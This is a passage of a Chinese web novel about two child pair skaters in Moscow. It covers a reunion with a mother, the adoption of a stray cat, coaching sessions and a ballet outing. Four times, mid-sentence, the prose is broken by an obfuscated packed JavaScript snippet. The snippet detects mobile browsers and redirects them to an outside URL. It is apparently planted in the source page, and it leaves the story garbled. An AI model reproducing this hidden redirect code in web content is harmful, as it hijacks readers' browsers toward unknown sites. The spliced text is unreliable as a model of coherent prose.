“我们应该进去吗?” 他被贺嘉岁说动,更担心是黑心房东强买强卖。 贺嘉岁也犹豫:“我问问爸爸。” 国内已是凌晨,电话无人接听。 他们想了各种打发时间的方法,但长途跋涉后,只有坐在秋千上数星星的力气。 “在北京都看不见星星。” “能,我看见过北极星。” “我们在北京待了三年,就见过那么一两次。” 这是他们在异国他乡的第一个夜晚,风里飘着时有时无的萨克斯风,无家可归显得落魄。 好在远处有鸣虫,证明他们不是世界上唯二的活物。 时间不如想象中难熬,贺嘉岁和应逢年有不少话题可聊。 偶尔有谁把秋千荡得高了,一定会得到另一个人的审判。 “应逢年,你要摔死我吗?” “我的脚都没挨地!” 虫鸣并不喧嚣,他们也不敢大声打闹,拳脚有来有回,全是暗戳戳的较量。 栅栏闪过一方明亮。 汽车入库,贺嘉岁看清它的轮廓和颜色,还是接他们的那辆。 车主是自称不混□□的女人。 赶紧从秋千上跳下,孩子们重新和行李作伴。 真不好意思,踩了别人的草坪,霸占别人的秋千,还对院子里的蚊虫指指点点。 女人熄火下车,远远看他们还杵在那。 “对房子不满意?”她也停下脚步。 墨镜早就摘下,五官正迎着月色。 应逢年几乎脱口而出:“干妈。” …… 和妈妈长得像这件事,贺嘉岁只听爸爸偶尔提起。 她看人模糊,除了家人和亲近的朋友,谁都像型号统一的灯泡,只有亮和不亮的区别。 自己也是枚灯泡。 她很难说清自己的模样,也很难从五官里找到成熟的影子,想象妈妈是什么样。 妈妈是眼前的模样。 “你确定吗,我长这样?”贺嘉岁偏头,对着应逢年语无伦次。 应逢年笃定:“你们很像。” 这是贺嘉岁又一次听见这句话。 云雾突然拨开,疑窦有了标准答案。 “妈妈?” 她打量着女人。 一米七的个子,短发,穿着和罗斯特科娃教练的照片如出一辙。 贺嘉岁不敢想象和妈妈的重逢,那该比朦胧月光还要缥缈。 偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065170|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔梦到,或是在滨南的家里,或是在北京的基地。 万万没料到,是在莫斯科。 原来,来莫斯科就能见到妈妈。 脑子里充斥着向她奔赴的画面,就像波妞拥抱宗介那般热烈。 但实际上,她一步都没动。 只是眼看跟前的女人走得更近,看她的手抬起又放下,几番挣扎才换了目标,决心提起行李。 “嘉岁,喜欢这个家吗?” 手擦过手臂的一瞬,她们都有些僵硬。 明明是一样的血脉,又好像十多年来第一次做母亲、做女儿。 “妈妈。” 这是个极伟大也极难开口的词,贺嘉岁敛住呼吸,又轻轻叫了声。 心里的软肉被攥紧、充盈,她才发现那些经年累月的裂隙。 好在被填平。 但这不是适合谈情的地方。 贾女士看到应逢年的小动作,打开更轻松的话题:“夏天的莫斯科也有蚊子,很毒。” “是不会叫的蚊子!” 攻人于无形。 她接过钥匙,和孩子们一起进屋。 灯亮了。 贺嘉岁环视着内景,和他们讨论的一样,小楼有两层,室内面积不算大。 贾女士简单指了指,她的生活起居在一楼,二楼都是空房间,知道他们要来,已经收拾了床铺,拎包入住。 “您知道我们要来?”贺嘉岁纳罕。 “当然知道,”贾女士被问住,“你爸爸是个漏嘴巴,什么都兜不住。” “我以为你们没联系了。” 父母从她幼时开始分居,交流的话题没有柴米油盐,只有一个孩子。 她以为自己离开妈妈又离开爸爸,他们会彻底断掉往来。 “聊近况,吐槽工作,夫妻为什么不能联系?” 贺嘉岁只差把“崩塌”二字写在脸上。 爸爸妈妈,居然没有离婚? 阐述事实连带抱怨,她有些委屈:“那为什么,爸爸总让我没事别打扰您。” 结果呢,他自己却能随时打扰。 爸爸真坏啊。 应逢年拘谨地坐在沙发上。 母女间的交流倒是放松起来,矛头统一对准贺先生,他没有发挥空间。 但妈妈说,出门要尊重长辈。 “干妈,我给您倒杯茶。” “国内现在流行这么叫?” 贺嘉岁才想起他这号人,介绍说:“应逢年是我搭档,我们会一起参加蔚蓝俱乐部的训练营。” “我知道,”贾女士颔首,“我看过你们的比赛。” 妈妈在关注他们。 “我以为您会不乐意。” 这也是贺嘉岁没有及时联系妈妈的原因。 她是运动员出身,现役教练,见证过太多运动员的兴衰,绝不允许女儿从事一切和运动相关的工作。 “不乐意有什么用,你已经学了三年,别在吃苦时后悔就好,”贾女士轻叹,“路是你自己的。” 她很清楚,自己缺席了女儿的生活太多,现在也不该有干预的权利。 不像孩子们活蹦乱跳,贾女士奔波一天,早就浑身困意,把二楼的事全权丢给小年轻。 “你选哪间房?” “点兵点将。” 贺嘉岁点到左边那间,推门两分钟,又反了悔。 应逢年堵在门口:“哪有这样的。” “你的房间有阳台。” 来时车子爬了好多山坡。 如果他们住在山顶,阳台外的风景一定很美。 “我欢迎你随时串门。” 说是欢迎,但他寸步没让。 贺嘉岁弓身从他腋下钻过,得逞地笑说:“我是这个家的小主人。” 她倒是对这个身份适应良好。 应逢年有些无奈:“干妈说,这里的蚊子关不住。” 有手臂上的包作证,贺嘉岁溜得也快。 “作为有诚信的小主人,我勉为其难满足你的愿望。” 总之,她回到自己的小窝,捣鼓妈妈给她的入住礼物。 对在这里的每一天充满期待。 39. 流浪猫 没有山坡上沙沙响的白桦林,市区的绿植不算多,阳光肆意地打在楼间、脸上,阴影幢幢。 这里的建筑又不如郊区的新,每座都是可以诉说的历史,连路灯都有几百岁。 布加切娃是合格的东道主,带着他们一路逛,把她知道的所有吐露。 “我们现在就站在红场,”她跺了跺脚,“这座喷泉和它一样古老,这里冬天还会建起露天冰场。” 她指着四周,哪里是圣瓦西里教堂,哪里是克里姆林宫,随后带他们走进最低调的一栋。 其实一点也不低调。 拱门之内是百米长廊,头上穹顶镂空,经典的东欧建筑。 “我走进艺术品了。”贺嘉岁合不住嘴,对每面玻璃里的橱柜好奇。 太不一样了,和滨南的太古汇、北京的三里屯截然不同。 肤浅的她还只以为是普普通通的逛商场。 走到中心喷泉,他们又向另一条路进发,奢侈品堆叠,几个女孩走不动道。 “你怎么不去?”清水阳葵问她。 唯二无动于衷的女孩交谈着,一个单纯因为钱包拮据,一个单纯对大牌不感兴趣。 应逢年倒是相中一款,五颜六色的书包,适合上学背。 他好心情地看向贺嘉岁:“这个怎么样?我给你买。” “三十万卢布,”贺嘉岁看着价签,倒吸一口凉气,“应逢年,你最近去哪发财了?” 有这门路,她不如给自己换双piano的冰鞋。 但乱花渐欲迷人眼。 除去餐饮,她们感兴趣的无非是香水和饰品,贺嘉岁走马观花,在美甲店驻足。 她没跟着布加切娃和高恩旻打耳洞买耳钉,那是大人才能戴的东西。 但美甲应该不算越界吧。 她有试验品,握着应逢年的手指试颜色,哪种显黑,哪种张扬,把应逢年的手涂得五颜六色。 “你没意见吗?”清水阳葵看他没脾气。 “她说可以在成膜后撕掉。” “这是油性甲油,干得慢还不易掉,要卸很久。” “贺嘉岁!” 贺嘉岁咬唇,嘴角不受控地扬起,眨着眼睛掩饰心虚。 那不然,她怎么不拿自己当模特呢。 “想给你买呢,不该在你的手上试色吗?”她开始说胡话。 应逢年一直板着脸,再逛景点也一头扎在前面。 “你们平时也这么相处?”清水阳葵都忍不住,“冷战很累吧。” “不累啊,”贺嘉岁不懂她为何这么问,“应逢年的嘴特别碎,他一定有话憋不住。” “贺嘉岁,她好像你。”他指着喀山大教堂里的圣像画。 “像你,嘴撇得跟我欠你三十万似的。” 事实上,她没让应逢年花三十万卢布给自己买那奢侈品包,他还得谢谢自己呢。 红场很大,把建筑一一看遍也是大工程,看到游客渐多,他们也不打算再凑热闹。 “我也去过很多城市,但我依然觉得莫斯科是最美的。”布加切娃把这句话作为一日导游的结语。 他们短暂相聚在这里,注定无法每日游走在街头巷尾,只能在训练和比赛之外,零碎地感受城市的魅力。 她关心每个人的去向:“你们怎么回去?这里的地铁站很漂亮。” 贺嘉岁扬着下巴:“应逢年想试试滑板车。” 偌大的莫斯科,不像北京单车遍地,到处是禁行区,共享滑板车倒是常见。 她对这个交通工具有浓烈的兴趣。 应逢年对她的表达方式见怪不怪,附和说:“对。” 布加切娃说:“你们得小心,我的半月板就是被它卡伤的。” 滑板车的速度不快。 刚上手,还有游客对他们的出行拍照留念,贺嘉岁有些臊。 不过适应了,也就那样。 “等我们骑到家,估计天都黑了。” 滑板车的速度再快,也就二十码。 “河对岸就是骑行范围外,我们只能在附近地铁站转乘。” 但一切不着急,河岸有的是风景。 误入高尔基公园,他们陷入正盛的绿意里,耳边是海盗船里的小朋友们的尖叫,眼前是莫斯科河上的游船。 贺嘉岁能看见船舱人们穿梭的剪影,他们在等待落日。 “走吗?” 他们停车停得远,这里离地铁站还有些距离。 “我想沿河边走走。” 鲜少能有完全放松的时候,除了能不能在天黑前回家,什么都不用顾虑。 把明天的事留给明天。 “行。” 影子渐长,他们走走停停,要和静止的船争快慢。 从花田窜出一道身影,毛茸茸一团,有些不讲道理。 谁的猫丢了,贺嘉岁猜。 但她不会猫语,也融不进来去匆匆的市民,没人为这只小猫驻足。 应逢年拾起落在泥地的草叶,看它吃得津津有味。 “它居然吃草。” 不仅吃草呢,它赖着就不肯离开,在脚与脚间来回穿梭,还要蹭蹭裤腿彰显存在。 “你被缠上了,应逢年。”贺嘉岁抱着胳膊看戏。 “你快救我。”应逢年很后悔。 他搞不定这只小猫,对此情此景无法。 “不是我招惹的祖宗。” “它自己贴上来的。” 应逢年想往她身边挪,贺嘉岁随即退得更远:“听说奶牛猫是牛皮糖,黏上就揭不下来。” 小猫底气足,大声抗议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095261|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说你两句还不乐意。” 小猫叫得更响亮,就是不乐意,随后离开应逢年,一屁股坐在贺嘉岁跟前。 好娇小,又让人无法抽身的拦路猫。 “Feliserraticaest(它是流浪猫).”有个苍老的声音响起。 贺嘉岁循声看去,一个阿伯拆了包饼干,在不远处都它。 小猫只是短暂离开,将包装袋叼回它找的落脚之所,慢慢品尝。 “Iswhat?” “Nohome.” 环境使然,贺嘉岁的听说能力增长不少,勉强能做到简单句的及时理解。 它没有家。 是个可怜的小东西。 不过要是再不回家,自己也要没家了。 “走吧,应逢年。” 小猫好像下定某种决心,一路跟到地铁站。 “收养它?” 这是他们纠结的问题。 “我们吗?”贺嘉岁有些抗拒,“我们没有收养它的能力。” 听说养猫是件复杂事,吃喝拉撒都得照顾到,她不觉得自己能面面周全。 何况,他们只是这座城市的过客,一个月后,她会离开妈妈,回到华夏,和这里的一切告别。 没必要再给自己制造一个牵绊。 小猫跳上地铁站的台阶,回头冲他们叫嚷,好像在偏头询问,为何他们止步不前。 算了,那就试一把。 贺嘉岁心软,蹲身说:“我们带你回家。” 但要是地铁有安检,她就果断放弃它。 “咕噜咕噜。”小猫主动把下巴搁在她的指尖,自己挠得开心。 “它能听懂吗?它的母语是俄语。” “喵。” 莫斯科的地铁有安检,他们还遇上警犬,查得很严。 但小猫被抱在怀里,一路风雨无阻。 这里居然允许携带宠物。 “它真得跟我们回家了。” 离开流浪的环境,它被带到陌生的地方。 贾女士看他们满载而归,去红场玩一天,带回来的伴手礼是猫粮、猫砂,还有……猫。 “你们从哪绑的猫?” 家里一下拥挤起来,每面墙壁都在回荡它中气十足的声音。 “高尔基公园。” “它叫什么名字?” 应逢年本着就近原则,说道:“高尔基。” 贺嘉岁踩他一脚:“你礼貌吗?” “那叫什么。” “叫咪咪。” “叫嘉岁。” 贺嘉岁收声,以为自己听错了。 “那是我的名!”她说。 “鹦鹉都能叫逢年,小猫为什么不能叫嘉岁。” 这是什么道理。 40. 《罗密欧与朱丽叶》 技术交流要求全员参加,但没明确规定顺序,贺嘉岁和应逢年自愿打头阵。 没有其他运动员的铺垫,压力会小一些。 教练组靠板墙站着,罗斯特科娃架起手机随时记录。 她对着镜头:“我先看看你们的步法。” 简单步法组合是各种转三、变刃和交叉步,间或有莫霍克和括弧步衔接。 第二组接续步则涵盖更多难度步法。 “带手。”罗斯特科娃拍掌提醒。 这些组合的难度不亚于考十级步法,贺嘉岁和应逢年顾脚不顾手,完成得还是不太纯熟。 “停。” 在场上急刹,贺嘉岁看向教练组,罗斯特科娃只是拧眉,在沉默后示意他们继续。 “三字进插足转,内外勾步进蹲转,跳进燕式转加换足。” 知道他们还没有骤然拔高难度的水平,她让从基础姿态的旋转循序渐进。 但旋转间的恢复时间短,等第三组旋转换足,贺嘉岁的重心转移不果断,直接趴在冰上。 还好有护具保护。 “你们都过来。” 罗斯特科娃先说了些小问题,比如蹲转的转速掉得厉害,比如应逢年的燕式转没定住浮足。 随后,她把目光放在贺嘉岁身上。 “你塌腰?” 目光带着审视,似乎要把眼前的人洞穿。 “没有吧,”贺嘉岁埋下头,“华夏的教练们都没提过这个。” “你也没察觉到自己的滑行习惯变了吗?” “营里的滑行教练也没指出过。” 罗斯特科娃搓着额头,以为她没理解:“我是说,你习惯在滑行时塌腰,但你刚来这里时,还没这个坏毛病。” 贺嘉岁承认:“我的核心还收得不够好。” “不,不是核心的问题,”罗斯特科娃摇头,“你的腰臀绷得很紧,旋转轴心能稳住。” 她直说,核心和塌腰没在身上排斥,是因为后者不是她的无意识动作。 “我看看你的跳跃,”她指定,“外点三周。” 这几天,跳跃教练死抠贺嘉岁的跳跃高度,提前转体的情况要好了些。 但落冰率比以前更差了,还没找到原因。 “我需要酝酿酝酿。”贺嘉岁请求。 “可以,记得用转三带进跳速度。” 把一头雾水的应逢年拉到场中,贺嘉岁一脸事情败露的模样。 “你有在刻意塌腰吗?”应逢年问。 他天天和她泡在一块,倒是没觉得有什么变化。 贺嘉岁不置可否。 沿着板墙滑行起速,她一路压步,到场中进入前内转三,右脚点冰完成顺时针的3T。 旋转轴倾斜,落冰翻身。 这不是罗斯特科娃想要的示例。 “在空中泄力干什么?专注!” 再来一圈,贺嘉岁一鼓作气。 但发挥依然不理想。 明明进入的速度还不错,可跳跃只远不高,即使周数勉强转足,冰刀也是狠狠砸在冰上,滑出卡顿。 “你看出了吗?”罗斯特科娃问应逢年。 应逢年摸索着说:“起跳前的重心太低,空中的旋转轴不细。” 他好像知道了,贺嘉岁越在意,塌腰的程度就越明显。 这已经开始影响她的重心。 其他运动员陆续上场,罗斯特科娃把他们带去休息区。 “贺,为什么要塌腰?”她回到这个问题。 贺嘉岁很平静,仔细体会身上各处传来的疲累,说道:“我发现,塌腰后的滑行和步法会更稳定。” 前段时间,她莫名在难度步法上出现摇晃和摔倒,用刃也不比以前清晰。 尤其勾手跳的外刃回浅。 没和教练沟通,她很快摸索到解决之策,似乎蹲得更深些,就能把重心压得更低更稳。 “你这不是膝关节在发力,是整个上半身前倾。” “我意识到了,”贺嘉岁垂着眼睛,看橡胶地上不规则的花点,她解释,“但我只能这样保持成功率。” 刚接触花滑时,她还是矮矮一个。 杨教练说,只要保持身高,这就会是她学习的最大天赋。 但初潮后,她居然迎来快速生长期,短短半年就长了十厘米,逼近一米六。 和营里其他双人女伴差不多高矮。 可她比她们要略小几岁。 她有些害怕,所以想提早预防。 “防长高吗?”罗斯特科娃摇头,“如果不用药,你是防不住的。” 贺嘉岁也摇头:“我知道女运动员都会经历发育关,我想提前适应。” “你多大?” 她迟疑,少顷才回:“下周满十三岁。” 真快,在她都没留意的时候,一岁又将过去。 “十三岁。” 罗斯特科娃重复着,逐渐站直身子,鼻腔溢出一口气。 这个年龄段的孩子逐渐有表演意识,对节目的诠释会更深刻,又没进入全面发育,可以冲一把难度。 是很美好的年纪,什么都来得及的年纪。 “你急什么?” 她告诉贺嘉岁,明天的风雨自有明天的伞。 “但有一件,塌腰必须立马丢掉,趁你还没形成肌肉记忆。” …… 贺嘉岁被教练逮着谈了半晌,郁闷了一天。 不过也只郁闷了一天。 次日再到俱乐部,小姑娘又是一副精神抖擞的样子。 她拿到教练组给她制定的新日程,重点放在步法滑行上,双人技术的训练时间被压缩。 “你也太惨了。”应逢年可怜她。 除了热身时的组合训练,步法课是最无聊的,很难出大毛病,也很难有进益。 “罗斯特科娃教练亲自盯你的跳跃,到底谁可怜?” 贺嘉岁笑他连吊杆三周都站不稳,更不说2A直接往冰上扑。 应逢年扬着下巴:“我的陆地3T已经能成了。” “哦,这是我几个月前的进度。” 对不起啊,她就是在跳跃上有些小天赋,什么陆地空转,洒洒水而已。 “我能不能向干妈告状,不带你去看《罗密欧与朱丽叶》?” “凭什么,那是我的生日礼物,你只是个沾光的。” “你这么能干,我怕你把人家的表演掀了,自己上去跳。” 今年的8月11日是个好日子,恰逢周末,训练营和贾女士的艺体队都休息。 又赶上入秋后的第一场雨,出门前下了小会儿,整天都是凉快的。 “别喂猫了,我们还得到现场兑票。”贾女士拿上雨具,催促两个还不肯下楼的家伙。 现在是夏休期,有演出的剧院可不好找,也就是想带孩子领略俄国的艺术,她才找了台合适的舞剧。 贺嘉岁和应逢年在新赛季的自由滑曲目和舞剧的名字一样,《罗密欧与朱丽叶》。 但芭蕾舞剧和想象中不同。 叙事不如音乐剧清晰,又没有台词推动情节,全凭舞者的肢体和音乐辅以理解。 “为什么蒙太古家族穿得花花绿绿?”一个敢问。 “可能只有音乐剧才分红色和蓝色。”一个敢答。 “谁是罗密欧?” “可能正在击剑。” 音乐衬托得局势胶着,但舞者们优雅的气质缓和了这一点,贺嘉岁觉得起伏不大。 到底没抗住睡意,在朱丽叶出现前,她就被单簧管哄睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110565|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 脑袋偏向一侧,意识觉得枕头有些硌,她挣扎着换了方向。 不知道睡了多久,头顶在朦胧间添了几分重量,对方的短发似有若无地扎着她。 应逢年也看睡着了。 意识苏醒,贺嘉岁看台上依然沉默的一切,离开他的肩膀。 “醒醒,朱丽叶死了,罗密欧要殉情了。” 他们对故事的理解还太浅薄,初看音乐剧时,只把这个情节作为全剧的高潮。 提琴声由小渐大,又突然休止,平白添了些凄凉恐怖。 剧场的灯缓缓亮起,眼前再度清晰,罗密欧出现在朱丽叶的墓穴。 他把朱丽叶从床上薅起,托举,想带她逃离。 但贺嘉岁无法沉浸在爱人生离死别的情绪,感叹说:“好强大的核心力量。” 应逢年醒时,正赶上罗密欧服毒那段。 他也惊讶:“连‘尸体’都在绷脚背。” 帷幕落下,帷幕拉起,演员们向观众行礼,周围爆发出汹涌的掌声。 谈话被淹没在潮水里。 “您说什么?”贺嘉岁看向妈妈。 “你俩真不识货,这是莫斯科大剧院的班底,全球数一数二的芭蕾舞团。” 贺嘉岁耸肩。 她对舞团没意见,对舞剧也没意见。 但这故事她熟悉。 少男少女的爱看似轰轰烈烈,实际从相爱到殉情只花了五天。 五天,还不够等周末放假的。 故事多少带些荒诞,但罗斯特科娃教练却要求他们代入角色。 应逢年是罗密欧,她是朱丽叶,他们要在表演中爆发,越能表现出少年情深越好。 …… 演出刚结束,贾女士就接到电话,临时被学生叫走。 “知道怎么坐地铁回家吗?”她以工作为重,选择暂时把两个孩子放在一边。 但贺嘉岁觉得这假期过得不尽兴。 “我可以去旁听吗?” 在莫斯科停留的时间渐短,她还嫌和妈妈相处得不够。 “今天不是正式的集训课,你们可以跟我去,”贾女士思忖,“但会很无聊。” “没有哪门运动的训练是有趣的。”贺嘉岁知道。 剧院离体操学院不远,步行可到。 假期的场馆依然亮着灯,是基地里的运动员在加练。 自不自愿不知道,据说近期俄国家队会远赴明斯克参加挑战杯,贾女士作为随队教练之一,也要跟着去。 “Gianna.” 运动员们先后打了招呼,又请教走位调度的问题。 贺嘉岁不专业,和应逢年坐在场地外瞎聊天。 她突然想起,冯女士计划在明年春节后重启《青空引》舞剧。 “你妈妈没和你说这件事?”她看应逢年茫然。 “现在,你才更像我妈的亲女儿。” 不过说不说也不要紧。 这一年多,他们的变化太大了。 应逢年冲到一米七,五官也更立体,哪里还有小孩子的模样。 贺嘉岁也不落后,算是彻底和舞剧里的形象告别。 舞团里的哥哥姐姐倒是邀请她尝试其他空缺的角色,但她料想自己没这个精力,还没给出回复。 回国后,她将和应逢年参加北京市的花滑锦标赛,然后开启初中生活。 “只有一个市锦赛,没别的了?”应逢年问。 “五站俱乐部联赛全结束了,我们连总决赛都赶不上。” 此前,他们也属意以外训选手的身份临时挂靠蔚蓝俱乐部,参加莫斯科的地区赛。 但比赛过了报名时间,最终名单确定,他们只能当观众。 就在训练营结束的第二天。 41. 第一章:回国 昨天刚在结营仪式上告别,今天又聚首,贺嘉岁觉得有些滑稽。 “好久不见。” “确实,有十二个小时了。” 布加切娃还没在观众席坐热乎,教练组就来找。 她的膝伤没好全,检录前得让队医评估一遍。 “你们自便。” 贺嘉岁左右看了看。 冰场很大,但场馆小,内场只有两排伸缩看台,运动员们在副馆和室外热身,按组次入场。 高恩旻带着秩序册回来:“赛程和参赛名单都在里面。” 贺嘉岁翻开扉页,俄英双语写的赛事介绍,因青年组选手太多,分为三天进行。 “一个地区赛,居然能有这么多选手。” 印象中,莫斯科不比北京大,从市中心到郊区的通勤花不了一个小时。 但还是那句话,这里是俄罗斯,人才辈出的花滑强国。 应逢年凑过来,名单又翻过一页:“青年组双人滑只有八对。” 也不知道凭什么标准决定顺序,布/布在第一组第二位出场。 “Bugacheva/Vecherkov,clubLazur,muzyka—''SponsaPoloz'' (布加切娃/维切尔科夫,代表蔚蓝俱乐部,选曲《蛇神的新娘》).” 短节目音乐是俄罗斯民谣,一个多月的耳濡目染,贺嘉岁倒是习惯了这门嘴皮打架的语言。 看台视野受限,近处的步法动作被板墙挡得完全,但关键技术比较清晰。 单跳2A,捻转三周,3Lz抛跳。 在规则内,布/布几乎把难度上满,且无一失误。 此后六对组合的技术也大同小异。 贺嘉岁直呼:“这是青年组吗?” 清一色的高级三周抛跳,清一色的四级捻转,就像流水线上的机器。 最大的区别,就是完成度高低。 高恩旻说:“世界范围的双人滑高手不多,俄罗斯和华夏算是最顶尖的了。” 但平昌冬奥会后,一批顶级运动员退役,此项没了常青树,格局也在变。 耳边是女孩们讨论各自的困境,应逢年也在叨叨。 “我们明年也要升青年组了。” 他和贺嘉岁的生日都在下半年,按照规定,得在少年组待到下赛季。 但说迟不迟,他们只有不到一年的时间了。 不免那自己和场上的选手们对比,他们的差距太大。 贺嘉岁看他如临大敌,玩笑说:“这个月练出外点三周,下个月练出萨霍夫三周,照这个速度,我们在年底就能五种三周全。” 应逢年倒认真了:“生产队的驴都不敢这么练。” 但大概相处久了,想法难免沾上她的影子,他思考半天,说:“我只能保证,在市锦赛上拼外点三周。” 贺嘉岁笑他拼了小命。 “你难得有野心勃勃的时候。” “毕竟某人总嫌我拖后腿。” 青天大老爷,玩笑话怎么能当真呢! 贺嘉岁让他住嘴:“从你愿意和我搭档开始,你就是世界上最好的人。” 如果排除爸爸妈妈的话。 如果排除冯阿姨的话。 这招对应逢年很受用,嘴角压不下去,索性得意了半天。 贺嘉岁早专注赛场,不知道他在笑什么。 “虽然他的阿克塞尔跳起空了,但三三联跳和内点四周的质量都不错。” 话没说完,应逢年准备离场。 “去哪儿?”贺嘉岁问。 “过两天就回国,我想再去冰场练一练。” …… 这几天,贺嘉岁和应逢年错过了很多事。 比如没亲眼看到布/布的赛季首冠。 布加切娃在自由滑后膝盖不适,布赫维带着她的那份荣誉站上领奖台。 比如没赶上国旗日*(每年8月22日是俄罗斯的国旗日,国内各地会举办大型活动。)的红场演出,但他们去古姆百货买回国的伴手礼,刚好赶上华夏军乐队的演奏。 “是亲人!” 贺嘉岁走不动道,驻足多看了会热闹。 “出息,我们后天就回国了。” 应逢年还提着大包小包,包装袋勒手。 回国是心心念念的事,但真敲定下来,贺嘉岁又有些舍不得。 她好不容易才见到妈妈,得之不易的一个多月。 昨天半夜,她心血来潮地打开地图,发现莫斯科和北京相距七千多公里。 她花了十多年才走完的路,又要回到原地。 “也不知道妈妈能不能在明天回国。” 贾女士带的五人球操应该已经完赛,但GALA还没表演,比赛还没完全结束。 “高高,你在干什么!” 进门就是一副惨状,小猫轻松从猫屋越狱,在客厅里造作。 沙发被挠得东一片西一片,已经不成样子。 “喵。” 从没见过这么蛮不讲理的猫,一副主人家的模样,躺在自己的杰作上,有条不紊地舔毛。 好像笃定没人拿它怎么样。 贺嘉岁把它的所有零食剥夺:“你没有罐头了,猫条也不准吃,我现在就把院子里的猫薄荷拔了。” “喵。”高高回应。 这情况不是第一次,反正它不只是她一个人的小猫,总会有别人心软。 “你不准喂它,它都要变成猪了。”贺嘉岁盯着应逢年。 “我一定不喂。” 总要让它知道,谁是这个家的小主人。 小猫造的孽,收拾起来很麻烦,纤维飘得到处都是,沙发底下还惊现陈年猫砂。 事态演变成大扫除,锁芯转动,贺嘉岁更像一只被惊动的猫。 月黑风高,荒郊野岭,她甚至不敢瞄一眼玻璃窗。 咔哒—— 一串熟悉的脚步声。 “妈妈?” 她脑袋上打着问号。 明明电话里,妈妈说最早明天才能到家。 应逢年差点摔了怀里的猫:“干妈,您怎么回来了?” “她们的GALA我看了很多次,没什么可盯着的。” 贾女士说,左右无事,她改了最早的航班,想来陪陪女儿。 也不全是。 几天后大部队回国,紧接是莫斯科测试赛,她还得带青年队适应场地。 贺嘉岁第一次偷摸溜到妈妈的卧室,在十三岁的年纪撒娇说想跟着妈妈睡。 卧室是最私密的空间,贾女士在门边站了很久,还是侧身。 “我不习惯。”她说。 贺嘉岁抱着枕头长驱直入:“没关系,我的室友说我睡觉一向很乖。” “室友?” 平时工作太忙,贾女士和女儿住在一个屋檐下,也很少能有谈天说地的时候。 这还是贺嘉岁第一次聊起国内的事。 “我这几年一直在北京的训练基地,和叫林风致的姐姐同住,她也是跨界选材来的,都是滨南人。” 关灯上床,眼前一片漆黑,贺嘉岁听到一阵窸窣,身边的床垫陷下去。 “跨界选材靠谱吗?”贾女士问。 贺嘉岁盯着天花板,直到黑色变浅,顶灯有了模糊的影子。 “我也不知道。”她觉得有些凉,拉上被子。 “我查过数据,只西南一个省就输送了百十名运动员,更不说全国各地的专业院校。” 贾女士虽然远离华夏的体育行业多年,但也是曾浸淫其中的人,多少知道那么夹克衫的尿性。 “冬管中心的想法太激进,百分之九十的跨界运动员都是牺牲品。” 贺嘉岁赞同:“留下的肯定是少数。” 就像从滨南北上的孩子只剩下两对半。 据说首都舞蹈学院的冰舞班在暑期进行筛选,也不知道筛走多少沙子,留下多少种子。 “我手底下的学生,没人不带点伤,花滑的环境特殊,你更要保护好自己。” “嗯。” 对话戛然而止,贺嘉岁听到身边匀长的呼吸,她有些困了。 “妈妈,”她还是问出她最想问的问题,“你会回国吗?” 很久都无人回应,不知道是问题难以回答,还是没有回答的必要。 “妈妈。”贺嘉岁撑不住眼皮,喃喃呓语。 她好像听见身边的人开口: “不会,我的事业在这里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124560|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 把高高安顿在邻居太太家,贺嘉岁和应逢年还是启程往机场去。 贾女士又去随赛了,只在聊天框留下一路顺风的短信。 但这风太顺了些。 顶着雨赶到机场,随即听见机场大厅的通知: [因雷暴天气影响,前往华夏北京的航班起飞时间待定。] 好一个待定,十多个小时的航班被耽搁成二十多个小时,贺嘉岁的时差完全颠倒,守着舷窗外的月亮熬鹰。 “照这个行程,我们落地就得去赶合乐练习。”应逢年劝她早睡。 但一路睡眠零零散散,贺嘉岁打着呵欠,大脑毫无困意。 “怎么办?我不会在比赛时睡着吧。”她也焦虑。 很久没融入国内环境,很久没参加比赛,她怕世界大变样。 好在手机里的电话号码还是熟悉的那个。 北京时间早上九点整,林风致打来电话问候。 “你好,我的女主角,”她的声音听起来容光焕发,“你落地北京了吗?” “刚从乌鲁木齐中转。” 对比之下,贺嘉岁像被抽干阳气。 